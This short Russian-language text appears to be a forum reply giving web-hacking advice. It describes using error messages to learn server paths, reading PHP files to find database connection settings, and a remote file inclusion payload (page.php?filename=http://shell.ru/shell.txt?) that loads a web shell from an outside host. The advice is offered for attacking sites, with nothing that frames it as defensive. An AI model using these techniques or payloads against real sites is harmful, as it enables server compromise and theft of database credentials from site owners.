1) Можешь найти ошибку и там будет путь: /home/host/site.ru/www/func/inc.php т.е. ты берешь путь home/host/site.ru/www/index.php и пробуешь прочитать файл. Если получится, то есть шанс найти конфиги коннекта к БД и подключиться!
2) Попробуй так: page.php?filename=http://shell.ru/shell.txt? - Почему .txt? Потому что веб сервер его интерпритирует как .php